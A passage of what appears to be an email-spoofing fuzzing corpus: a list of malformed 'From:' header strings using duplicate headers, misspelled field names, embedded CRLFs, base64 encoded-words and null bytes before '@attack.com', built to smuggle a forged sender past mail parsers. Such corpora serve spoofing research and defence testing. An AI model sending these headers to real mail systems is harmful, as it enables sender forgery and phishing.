<=?utf-8?RnJvbTooaGkpPEBxcS5jb206QDE2My5jb206TWlrZUBzaW5hLmNuPihjb21tZW50KSwNCg===?=>\u0000@attack.com", + "From: ,hr@live.com,(comment)\r\n", + "From: \r\nFrom:\r\n", + " From:(hi)<@a.com:@b.com:admin@139.com>,()\r\n", + " Fromÿ: \r\nFrom:,Alice@126.com,hr@gmail.com,,,\r\n", + "From: ,(hi),\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEJvYkBnbWFpbC5jb20+KA0KKQ0K=?=>", + " From:word(\r\n)\r\n", + " From: \r\nFrom:(comm\r\nent)(comm\r\nent),Mike@ymail.com\r\n", + " FrOM: \r\nFrom:(),(\r\n)(),(hi),\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPHNlY3VyaXR5QDE2My5jb20+KGNvbW1lbnQpLHdvcmQoY29tbQ0KZW50KS53b3JkKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQDEyNi5jb20+DQo==?=>", + " From: \r\nFrom:Alice@sina.cn,(hi),(comment),,,\r\n", + " From: \r\nFrom:wordword(comm\r\nent)(\r\n)\r\n", + "From: <@gmail.com:@b.com:security@139.com>(comm\r\nent),(comment),<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAcXEuY29tDQo==?=>", + "From: hr@139.com,Bob@live.com\r\n", + "From: <=?utf-8?RnJvbTooaGkpPEBhLmNvbTpAYi5jb206YWRtaW5AMTM5LmNvbT4sKCkNCg===?=>\u0000@attack.com", + "From :attacker@163.com\r\n", + "From:word<@a.com:@b.com:admin@china.com>()\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQHRvcC5jb20NCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTooaGkpPEBhLmNvbTpAYi5jb206YWRtaW5AMTM5LmNvbT4sKCkNCg===?=>", + " Fromÿ: \r\nFrom:security@126.com,(hi),\r\n", + "From: <=?utf-8?RnJvbTooDQopPGF0dGFja2VyQHFxLmNvbT4oKSxNaWtlQHRvcC5jb20sa2V5QGFsaXl1bi5jb20NCg===?=>", + " Fromÿ: \r\nFrom:(comm\r\nent),(comm\r\nent),(comm\r\nent)\r\n", + "From: Alice@gmail.com,(comment),<@qq.com:@163.com:attacker@sina.cn>,,,,(\r\n),(comment)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxAYS5jb206QGIuY29tOmFkbWluQHltYWlsLmNvbT4oaGkpLGhyQHRvcC5jb20NCg===?=>", + " Fromÿ: \r\nFrom:(\r\n),,webmaster@qq.com,\r\n", + " From: \r\nFrom:word,word(hi)\r\n", + "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLDxBbGljZUBzaW5hLmNuPixrZXlAbGl2ZS5jb20sLChoaSksDQo==?=>", + "From: wordword()\r\n", + "From: \r\nFrom:(\r\n)<@a.com:@b.com:Bob@gmail.com>,Bob@qq.com,,\r\n", + "From: \r\nFrom:attacker@gmail.com\r\n", + " From: \r\nFrom:webmaster@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTpockBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", + " From:word,word(hi)\r\n", + "From: Alice@sina.cn,(hi),(comment),,,\r\n", + " FrOM: \r\nFrom:webmaster@aliyun.com,word.(comm\r\nent)(comm\r\nent)(hi)(comm\r\nent)<@gmail.com:@b.com:Alice@126.com>(),key@gmail.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8YXR0YWNrZXJAc2luYS5jb20+KGNvbW0NCmVudCksd29yZHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTphZG1pbkBpY2xvdWQuY29tPihoaSkNCg===?=>", + " From: \r\nFrom:word()<@gmail.com:@b.com:Alice@foxmail.com>()\r\n", + " From:Bob@163.com\r\n", + " From:attacker@163.com\r\n", + " From: \r\nFrom:attacker@sina.cn,admin@live.com\r\n", + "From :(comment),security@msn.com,,,\r\n", + "From: Bob@outlook.com\r\n", + " From: \r\nFrom:security@hotmail.com,,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQHFxLmNvbT4sKGNvbW0NCmVudCksLA0K=?=>", + " FrOM: \r\nFrom:wordword()\r\n", + " FrOM: \r\nFrom:(comment),,word(hi)<@qq.com:@163.com:webmaster@china.com>,\r\n", + "From: \r\nFrom:webmaster@ymail.com.cn\r\n", + "From:,Mike@china.com,\r\n", + "From: \r\nFrom:attacker@163.com,hr@icloud.com\r\n", + " FrOM: \r\nFrom:admin@sina.cn\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNvbQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosTWlrZUBjaGluYS5jb20sDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQGFsaXl1bi5jb20+LHdvcmQ8QWxpY2VAb3V0bG9vay5jb20+KA0KKSw8aHJAZ21haWwuY29tPiwoaGkpPEBxcS5jb206QDE2My5jb206QWxpY2VAc29odS5jb20+KGNvbW0NCmVudCksd29yZC4uPEJvYkAxMzkuY29tPigNCikNCg===?=>", + "From :(comm\r\nent)\r\n", + "From:word,,(comment),\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBzaW5hLmNuLEFsaWNlQGZveG1haWwuY29tLGhyQGljbG91ZC5jb20NCg===?=>", + "From: <=?utf-8?RnJvbTooDQopLCwoDQopLDxAZ21haWwuY29tOkBiLmNvbTpockBzaW5hLmNuPigNCiksd29yZDxBbGljZUB5bWFpbC5jb20uY24+LHdvcmR3b3JkKCk8QGdtYWlsLmNvbTpAYi5jb206a2V5QGZveG1haWwuY29tPg0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpBbGljZUBzaW5hLmNuLChoaSksKGNvbW1lbnQpLCwsDQo==?=>", + "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tDQo==?=>", + "From: \r\nFrom:,,<@qq.com:@163.com:Bob@ymail.com.cn>(comm\r\nent)\r\n", + "From: Alice@139.com\r\n", + "From: Mike@foxmail.com,hr@aliyun.com\r\n", + " FrOM: \r\nFrom:Mike@foxmail.com,Bob@163.com\r\n", + "From: ,Mike@china.com,\r\n", + "From :hr@icloud.com\r\n", + "From :key@outlook.com\r\n", + "From: <=?utf-8?RnJvbTosLDxAcXEuY29tOkAxNjMuY29tOkJvYkB5bWFpbC5jb20uY24+KGNvbW0NCmVudCkNCg===?=>", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAbXNuLmNvbSw8QHFxLmNvbTpAMTYzLmNvbTprZXlAY2hpbmEuY29tPigNCiksd2VibWFzdGVyQGhvdG1haWwuY29tDQo==?=>", + " Fromÿ: \r\nFrom:word(\r\n)(comment),attacker@gmail.com,\r\n", + " From: \r\nFrom:wordword()\r\n", + " FrOM: \r\nFrom:(\r\n)(),Mike@top.com,key@aliyun.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20sPGF0dGFja2VyQGljbG91ZC5jb20+DQo==?=>\u0000@attack.com", + " From:Alice@sina.cn,(hi),(comment),,,\r\n", + "From :Alice@outlook.com\r\n", + " FrOM: \r\nFrom:word.word(comment),(hi)(hi)\r\n", + " Fromÿ: \r\nFrom:(\r\n),word<@a.com:@b.com:admin@126.com>,word,Mike@163.com\r\n", + "From: \r\nFrom:,wordword<@gmail.com:@b.com:Mike@aliyun.com>,\r\n", + "From: \r\nFrom:<@gmail.com:@b.com:Bob@gmail.com>(comm\r\nent),()\r\n", + " Fromÿ: \r\nFrom:wordword<@a.com:@b.com:Alice@foxmail.com>\r\n", + "From :hr@qq.com,word,Mike@126.com\r\n", + "From: (\r\n)(),Mike@top.com,key@aliyun.com\r\n", + "From:(\r\n)<@a.com:@b.com:hr@foxmail.com>,<@qq.com:@163.com:security@outlook.com>()\r\n", + " Fromÿ: \r\nFrom:Mike@foxmail.com,webmaster@qq.com,attacker@sina.com,Alice@msn.com\r\n", + " From:word,,(comment),\r\n", + "From :key@ymail.com.cn,Bob@icloud.com\r\n", + "From :key@163.com,Alice@china.com\r\n", + "From: \r\nFrom:hr@qq.com,word,Mike@126.com\r\n", + "From:(comm\r\nent)(comm\r\nent),Mike@ymail.com\r\n", + " Fromÿ: \r\nFrom:(),,wordword()<@qq.com:@163.com:Alice@139.com>(\r\n),\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQHFxLmNvbT4sKGNvbW0NCmVudCksLA0K=?=>\u0000@attack.com", + " From:hr@qq.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNuLGFkbWluQGxpdmUuY29tDQo==?=>\u0000@attack.com", + " From:,hr@live.com,(comment)\r\n", + "From: ,(hi),,,,\r\n", + " From: \r\nFrom:,,wordword,,\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkBhbGl5dW4uY29tLHNlY3VyaXR5QG91dGxvb2suY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxAcXEuY29tOkAxNjMuY29tOmF0dGFja2VyQHNpbmEuY29tPg0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206a2V5QGNoaW5hLmNvbT4oKSwoKTxrZXlAaWNsb3VkLmNvbT4oDQopDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpNaWtlQHltYWlsLmNvbS5jbj4NCg===?=>", + " Fromÿ: \r\nFrom:attacker@china.com,(comment)\r\n", + " Fromÿ: \r\nFrom:security@163.com\r\n", + " From: \r\nFrom:(\r\n)<@a.com:@b.com:Bob@gmail.com>,Bob@qq.com,,\r\n", + " FrOM: \r\nFrom:word<@qq.com:@163.com:admin@ymail.com>()\r\n", + "From: \r\nFrom:key@sina.com,key@foxmail.com\r\n", + "From :word<@a.com:@b.com:webmaster@hotmail.com>(comment),,(comm\r\nent),,(\r\n),\r\n", + " Fromÿ: \r\nFrom:attacker@hotmail.com,Bob@outlook.com\r\n", + "From:Bob@qq.com\r\n", + "From :Alice@msn.com,wordwordword(comment)(\r\n),Mike@aliyun.com,(),word(comm\r\nent)(comm\r\nent)(hi)()<@a.com:@b.com:webmaster@163.com>,word(comm\r\nent)()\r\n", + "From:wordword()\r\n", + "From: <=?utf-8?RnJvbTooaGkpPGFkbWluQHNvaHUuY29tPihjb21tZW50KSwoY29tbWVudCksKA0KKQ0K=?=>", + " FrOM: \r\nFrom:Bob@gmail.com\r\n", + " From:(hi)<@qq.com:@163.com:Mike@aliyun.com>(comm\r\nent)\r\n", + "From:<@gmail.com:@b.com:attacker@sina.com>(\r\n),,,(hi),(\r\n),Alice@icloud.com\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGhvdG1haWwuY29tLChjb21tDQplbnQpPEBxcS5jb206QDE2My5jb206YWRtaW5AeW1haWwuY29tLmNuPihjb21tZW50KSx3b3Jkd29yZDx3ZWJtYXN0ZXJAMTM5LmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:key@outlook.com\r\n", + " FrOM: \r\nFrom:<@a.com:@b.com:webmaster@live.com>(hi)\r\n", + " From:webmaster@china.com,,(\r\n)<@a.com:@b.com:Alice@top.com>(comment)\r\n", + "From:key@outlook.com\r\n", + "From :webmaster@qq.com\r\n", + "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLHdvcmQoKTxAYS5jb206QGIuY29tOmFkbWluQHNpbmEuY29tPihoaSkNCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:word(comm\r\nent),,,,,(comm\r\nent)\r\n", + " FrOM: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@ymail.com>(hi),hr@top.com\r\n", + " From:(comm\r\nent),(comm\r\nent),,admin@icloud.com,attacker@ymail.com,,\r\n", + " Fromÿ: \r\nFrom:,attacker@hotmail.com\r\n", + " From:,(hi),\r\n", + " FrOM: \r\nFrom:\r\n", + "From:(\r\n)(),Mike@top.com,key@aliyun.com\r\n", + "From: <@gmail.com:@b.com:key@163.com>(\r\n)\r\n", + "From :Mike@foxmail.com\r\n", + " From:key@139.com,hr@msn.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAdG9wLmNvbT4oaGkpDQo==?=>\u0000@attack.com", + " From:\r\n", + " FrOM: \r\nFrom:wordwordword\r\n", + " From: \r\nFrom:(comm\r\nent)\r\n", + "From: ,wordword<@gmail.com:@b.com:Mike@aliyun.com>,\r\n", + " From:wordwordwordwordwordwordwordword(comment)<@gmail.com:@b.com:admin@foxmail.com>\r\n", + " FrOM: \r\nFrom:key@outlook.com\r\n", + " Fromÿ: \r\nFrom:\r\n", + "From: <=?utf-8?RnJvbTo8YWRtaW5AaG90bWFpbC5jb20+DQo==?=>\u0000@attack.com", + "From: (comment)(\r\n),\r\n", + " From: \r\nFrom:(hi)(comment),(comment),(\r\n)\r\n", + "From: <=?utf-8?RnJvbTprZXlAMTYzLmNvbSxBbGljZUBjaGluYS5jb20NCg===?=>", + "From :(comm\r\nent),(comm\r\nent),,admin@icloud.com,attacker@ymail.com,,\r\n", + "From :attacker@139.com\r\n", + "From: attacker@outlook.com\r\n", + " Fromÿ: \r\nFrom:(comment)(\r\n),\r\n", + " Fromÿ: \r\nFrom:admin@aliyun.com,security@outlook.com\r\n", + "From: Alice@qq.com,Mike@qq.com\r\n", + " FrOM: \r\nFrom:attacker@163.com,hr@icloud.com\r\n", + " From: \r\nFrom:,hr@139.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbg0K=?=>", + " From:Mike@foxmail.com,hr@aliyun.com\r\n", + " FrOM: \r\nFrom:webmaster@126.com\r\n", + " FrOM: \r\nFrom:,(\r\n),\r\n", + " FrOM: \r\nFrom:()\r\n", + "From: <=?utf-8?RnJvbTpCb2JAZm94bWFpbC5jb20NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:<@qq.com:@163.com:security@139.com>(comment)\r\n", + "From: (comment),,word(hi)<@qq.com:@163.com:webmaster@china.com>,\r\n", + " From: \r\nFrom:webmaster@126.com\r\n", + "From :<@gmail.com:@b.com:security@hotmail.com>(\r\n)\r\n", + " From:attacker@china.com,(comment)\r\n", + "From: <=?utf-8?RnJvbTosKCksKGhpKSxCb2JAMTM5LmNvbSwsKCksDQo==?=>\u0000@attack.com", + "From:wordword<@a.com:@b.com:Alice@foxmail.com>\r\n", + "From :,hr@139.com\r\n", + " From: \r\nFrom:key@outlook.com\r\n", + " From:key@sina.com,word()word.(comm\r\nent)word.word.(comment)(\r\n)<@qq.com:@163.com:key@icloud.com>,Mike@sina.cn\r\n", + "From: <=?utf-8?RnJvbTosKGNvbW0NCmVudCksTWlrZUBpY2xvdWQuY29tLChjb21tDQplbnQpPGFkbWluQGljbG91ZC5jb20+KGNvbW0NCmVudCkNCg===?=>", + "From: hr@163.com\r\n", + "From: \r\nFrom:(\r\n),,webmaster@qq.com,\r\n", + "From:(comm\r\nent),(comm\r\nent),,admin@icloud.com,attacker@ymail.com,,\r\n", + " FrOM: \r\nFrom:key@sohu.com\r\n", + "From: \r\nFrom:wordword()\r\n", + "From:,(),word()(hi)(\r\n)(comment)(hi)()\r\n", + " From: \r\nFrom:Mike@msn.com\r\n", + " Fromÿ: \r\nFrom:Bob@outlook.com\r\n", + "From:(\r\n),\r\n", + " From:Bob@aliyun.com,(\r\n)<@a.com:@b.com:Alice@sina.com>,Alice@china.com\r\n", + " From: \r\nFrom:webmaster@top.com\r\n", + " From: \r\nFrom:word<@a.com:@b.com:key@china.com>(),()(\r\n)\r\n", + " FrOM: \r\nFrom:,Mike@china.com,\r\n", + "From: <=?utf-8?RnJvbTosaHJAbGl2ZS5jb20sKGNvbW1lbnQpDQo==?=>", + " From: \r\nFrom:,,word(comm\r\nent)(comment),,,wordword<@qq.com:@163.com:security@sina.com>\r\n", + " From: \r\nFrom:<@gmail.com:@b.com:security@hotmail.com>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBjaGluYS5jb20sPHdlYm1hc3RlckBzaW5hLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + "From :word()word<@gmail.com:@b.com:security@msn.com>,Mike@outlook.com,Mike@163.com,Mike@foxmail.com,wordword()\r\n", + "From: \r\nFrom:wordword(comment)<@qq.com:@163.com:hr@top.com>\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCl3b3JkKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOmFkbWluQHltYWlsLmNvbT4oDQopLEFsaWNlQHNpbmEuY29tLChjb21tDQplbnQpPEBhLmNvbTpAYi5jb206TWlrZUBsaXZlLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", + "From :(comment),(hi),(comm\r\nent),word<@qq.com:@163.com:Alice@gmail.com>,,\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxAZ21haWwuY29tOkBiLmNvbTpBbGljZUBmb3htYWlsLmNvbT4oY29tbQ0KZW50KSxrZXlAZ21haWwuY29tDQo==?=>", + " FrOM: \r\nFrom:Mike@163.com,webmaster@139.com\r\n", + "From: (\r\n)<@a.com:@b.com:Bob@gmail.com>,Bob@qq.com,,\r\n", + " FrOM: \r\nFrom:attacker@sina.cn,admin@live.com\r\n", + "From: ,(),(hi),Bob@139.com,,(),\r\n", + " From: \r\nFrom:,key@icloud.com\r\n", + "From: \r\nFrom:Mike@foxmail.com,hr@aliyun.com\r\n", + "From: <=?utf-8?RnJvbTosYXR0YWNrZXJAaG90bWFpbC5jb20NCg===?=>\u0000@attack.com", + "From: \r\nFrom:<@a.com:@b.com:Alice@icloud.com>(comm\r\nent)\r\n", + "From:<@a.com:@b.com:admin@ymail.com>,Alice@126.com\r\n", + "From:Bob@139.com,,wordwordwordwordword(hi),\r\n", + "From:<@gmail.com:@b.com:key@163.com>(\r\n)\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),webmaster@hotmail.com,(\r\n)\r\n", + "From: \r\nFrom:Alice@sina.cn,Alice@foxmail.com,hr@icloud.com\r\n", + "From: <=?utf-8?RnJvbTooDQopPGF0dGFja2VyQHFxLmNvbT4oKSxNaWtlQHRvcC5jb20sa2V5QGFsaXl1bi5jb20NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:key@sina.com,word()word.(comm\r\nent)word.word.(comment)(\r\n)<@qq.com:@163.com:key@icloud.com>,Mike@sina.cn\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAeW1haWwuY29tLmNuPihjb21tZW50KQ0K=?=>\u0000@attack.com", + "From: \r\nFrom:(comment)<@gmail.com:@b.com:attacker@163.com>,\r\n", + "From: <@a.com:@b.com:admin@outlook.com>(comm\r\nent)\r\n", + " Fromÿ: \r\nFrom:wordword()\r\n", + "From :Alice@126.com,<@gmail.com:@b.com:Mike@hotmail.com>(hi)\r\n", + "From:,Bob@sohu.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAMTYzLmNvbSxBbGljZUBjaGluYS5jb20NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:Bob@qq.com\r\n", + " Fromÿ: \r\nFrom:word(\r\n)<@qq.com:@163.com:attacker@sina.com>\r\n", + "From: <=?utf-8?RnJvbTosKCksd29yZCgpKGhpKSgNCikoY29tbWVudCkoaGkpPHNlY3VyaXR5QHNpbmEuY24+KCkNCg===?=>\u0000@attack.com", + "From :word(comm\r\nent)<@gmail.com:@b.com:security@ymail.com.cn>(comment)\r\n", + "From: <=?utf-8?RnJvbTprZXlAMTM5LmNvbSxockBtc24uY29tDQo==?=>", + "From: <@a.com:@b.com:attacker@outlook.com>,admin@msn.com,key@163.com,webmaster@msn.com,attacker@hotmail.com,Alice@aliyun.com,(comm\r\nent)<@qq.com:@163.com:Alice@126.com>()\r\n", + "From: <=?utf-8?RnJvbTosa2V5QGljbG91ZC5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:Alice@top.com>(hi)\r\n", + " Fromÿ: \r\nFrom:key@sina.com,word()word.(comm\r\nent)word.word.(comment)(\r\n)<@qq.com:@163.com:key@icloud.com>,Mike@sina.cn\r\n", + " From:security@icloud.com\r\n", + "From: ,(comm\r\nent),Mike@icloud.com,(comm\r\nent)(comm\r\nent)\r\n", + "From: \r\nFrom:word(hi)<@qq.com:@163.com:Alice@sohu.com>,key@ymail.com,(comm\r\nent),<@a.com:@b.com:security@126.com>,()\r\n", + "From: \r\nFrom:hr@live.com,Mike@outlook.com\r\n", + "From: \r\nFrom:Bob@163.com\r\n", + "From: \r\nFrom:(comment),(hi),(comm\r\nent),word<@qq.com:@163.com:Alice@gmail.com>,,\r\n", + "From:,word(\r\n)(comm\r\nent)()<@a.com:@b.com:security@live.com>,,\r\n", + "From :key@live.com,<@qq.com:@163.com:Alice@sohu.com>(),hr@163.com,<@gmail.com:@b.com:Alice@126.com>()\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206TWlrZUBhbGl5dW4uY29tPihoaSkNCg===?=>\u0000@attack.com", + "From: (),,wordword()<@qq.com:@163.com:Alice@139.com>(\r\n),\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBnbWFpbC5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:,Alice@hotmail.com\r\n", + " Fromÿ: \r\nFrom:key@163.com,Alice@china.com\r\n", + "From: attacker@139.com\r\n", + "From: security@hotmail.com,,\r\n", + " Fromÿ: \r\nFrom:\r\n", + "From :admin@icloud.com,\r\n", + " From:admin@icloud.com\r\n", + " From: \r\nFrom:word(\r\n)<@qq.com:@163.com:attacker@sina.com>\r\n", + "From :Alice@sina.cn,Alice@foxmail.com,hr@icloud.com\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBzb2h1LmNvbQ0K=?=>\u0000@attack.com", + "From :\r\n", + "From: Bob@ymail.com,(),admin@china.com,wordwordwordword(hi)\r\n", + " From: \r\nFrom:(hi)<@qq.com:@163.com:Mike@sina.cn>(comment),\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksLHdvcmQoaGkpPEBxcS5jb206QDE2My5jb206d2VibWFzdGVyQGNoaW5hLmNvbT4sDQo==?=>\u0000@attack.com", + "From:\r\n", + " From: \r\nFrom:,word(\r\n),,(hi)<@qq.com:@163.com:Alice@sohu.com>(comm\r\nent),word..(\r\n)\r\n", + " FrOM: \r\nFrom:,(\r\n),()<@a.com:@b.com:hr@top.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAcXEuY29tDQo==?=>\u0000@attack.com", + "From: \r\nFrom:word(comm\r\nent)..()<@qq.com:@163.com:Alice@outlook.com>,webmaster@foxmail.com\r\n", + "From: \r\nFrom:(hi),(hi)\r\n", + " Fromÿ: \r\nFrom:,,<@qq.com:@163.com:Bob@ymail.com.cn>(comm\r\nent)\r\n", + "From:\r\n", + " Fromÿ: \r\nFrom:wordword()<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + " Fromÿ: \r\nFrom:,key@icloud.com\r\n", + "From: Mike@foxmail.com,Bob@163.com\r\n", + " Fromÿ: \r\nFrom:(),(\r\n)(),(hi),\r\n", + " From:word.(comment)\r\n", + " FrOM: \r\nFrom:word(comment),(\r\n)\r\n", + " From: \r\nFrom:hr@126.com\r\n", + "From: attacker@sina.com,(comm\r\nent)(\r\n),word<@gmail.com:@b.com:hr@icloud.com>(comm\r\nent),word,Alice@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTpockBtc24uY29tDQo==?=>", + "From:(comm\r\nent)<@gmail.com:@b.com:Alice@foxmail.com>(comm\r\nent),key@gmail.com\r\n", + "From: ,(comment),word()<@a.com:@b.com:admin@sina.com>(hi)\r\n", + " From:wordword(comm\r\nent)(\r\n)\r\n", + " FrOM: \r\nFrom:attacker@hotmail.com,Bob@outlook.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPE1pa2VAc29odS5jb20+KA0KKQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:key@live.com,<@qq.com:@163.com:Alice@sohu.com>(),hr@163.com,<@gmail.com:@b.com:Alice@126.com>()\r\n", + "From:Bob@sohu.com,\r\n", + "From :webmaster@top.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAb3V0bG9vay5jb20NCg===?=>", + " Fromÿ: \r\nFrom:\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBjaGluYS5jb20sTWlrZUB0b3AuY29tDQo==?=>\u0000@attack.com", + " From:word(comm\r\nent)<@gmail.com:@b.com:key@sohu.com>\r\n", + " From:webmaster@ymail.com.cn\r\n", + " Fromÿ: \r\nFrom:,(hi),\r\n", + " Fromÿ: \r\nFrom:,hr@icloud.com,,(hi)\r\n", + "From:,hr@icloud.com,,(hi)\r\n", + "From: \r\nFrom:\r\n", + " FrOM: \r\nFrom:Bob@ymail.com,(),admin@china.com,wordwordwordword(hi)\r\n", + " Fromÿ: \r\nFrom:Bob@163.com\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAeW1haWwuY29tLmNuDQo==?=>", + "From:word<@gmail.com:@b.com:Mike@china.com>(),(comment),Mike@msn.com\r\n", + " From:(hi)(comment),(comment),(\r\n)\r\n", + "From: webmaster@126.com\r\n", + " FrOM: \r\nFrom:,hr@ymail.com.cn,word(\r\n).(comm\r\nent)\r\n", + "From :,Alice@hotmail.com\r\n", + "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTp3ZWJtYXN0ZXJAbGl2ZS5jb20+KGhpKQ0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTo8Qm9iQGZveG1haWwuY29tPiwoDQopLA0K=?=>\u0000@attack.com", + "From: Bob@gmail.com\r\n", + "From :word<@gmail.com:@b.com:Alice@qq.com>,(comm\r\nent),,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8YXR0YWNrZXJAc2luYS5jb20+KGNvbW0NCmVudCksd29yZHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTphZG1pbkBpY2xvdWQuY29tPihoaSkNCg===?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkKCk8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAZm94bWFpbC5jb20+KCkNCg===?=>\u0000@attack.com", + " From:Alice@qq.com,Mike@qq.com\r\n", + "From: Alice@126.com,<@gmail.com:@b.com:Mike@hotmail.com>(hi)\r\n", + "From: <=?utf-8?RnJvbTpCb2JAMTM5LmNvbSwsd29yZHdvcmR3b3Jkd29yZHdvcmQ8YXR0YWNrZXJAc2luYS5jbj4oaGkpLA0K=?=>\u0000@attack.com", + "From: \r\nFrom:Mike@hotmail.com,(comm\r\nent)<@qq.com:@163.com:admin@ymail.com.cn>(comment),wordword(comm\r\nent)\r\n", + "From :\r\n", + "From: \r\nFrom:word<@gmail.com:@b.com:Mike@qq.com>(comment),Alice@163.com,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGhpKTxAYS5jb206QGIuY29tOkJvYkBxcS5jb20+LHdvcmQuPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQGZveG1haWwuY29tPixNaWtlQG91dGxvb2suY29tLGFkbWluQHNpbmEuY24NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:Mike@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTpCb2JAMTYzLmNvbQ0K=?=>\u0000@attack.com", + " From:()<@qq.com:@163.com:attacker@sina.cn>(hi),<@gmail.com:@b.com:hr@china.com>,word(comment)<@a.com:@b.com:Bob@163.com>,hr@hotmail.com,hr@ymail.com.cn,wordwordwordword(\r\n)<@qq.com:@163.com:Bob@126.com>(\r\n),wordword<@qq.com:@163.com:Alice@foxmail.com>(comment)\r\n", + "From: \r\nFrom:word()word<@gmail.com:@b.com:security@msn.com>,Mike@outlook.com,Mike@163.com,Mike@foxmail.com,wordword()\r\n", + " Fromÿ: \r\nFrom:wordwordword\r\n", + "From: \r\nFrom:(comment),(\r\n),wordword(comm\r\nent)(comment)\r\n", + " Fromÿ: \r\nFrom:(),,word()\r\n", + "From:Mike@hotmail.com,(comm\r\nent)<@qq.com:@163.com:admin@ymail.com.cn>(comment),wordword(comm\r\nent)\r\n", + "From:attacker@163.com\r\n", + " Fromÿ: \r\nFrom:hr@qq.com\r\n", + "From :word<@gmail.com:@b.com:key@ymail.com.cn>(\r\n)\r\n", + "From: word(\r\n)<@a.com:@b.com:admin@ymail.com>(hi),hr@top.com\r\n", + " From: \r\nFrom:hr@163.com\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBzaW5hLmNuLEFsaWNlQGZveG1haWwuY29tLGhyQGljbG91ZC5jb20NCg===?=>\u0000@attack.com", + "From:webmaster@icloud.com,wordwordword(comment),admin@foxmail.com,\r\n", + " From: \r\nFrom:<@qq.com:@163.com:security@126.com>,word(comment)<@a.com:@b.com:webmaster@qq.com>(comment)\r\n", + "From :word(\r\n)\r\n", + "From: \r\nFrom:admin@aliyun.com,security@outlook.com\r\n", + " Fromÿ: \r\nFrom:(),word().\r\n", + " From:wordword()\r\n", + "From :Bob@sina.com\r\n", + " FrOM: \r\nFrom:(),attacker@sina.cn,,(\r\n)\r\n", + " From: 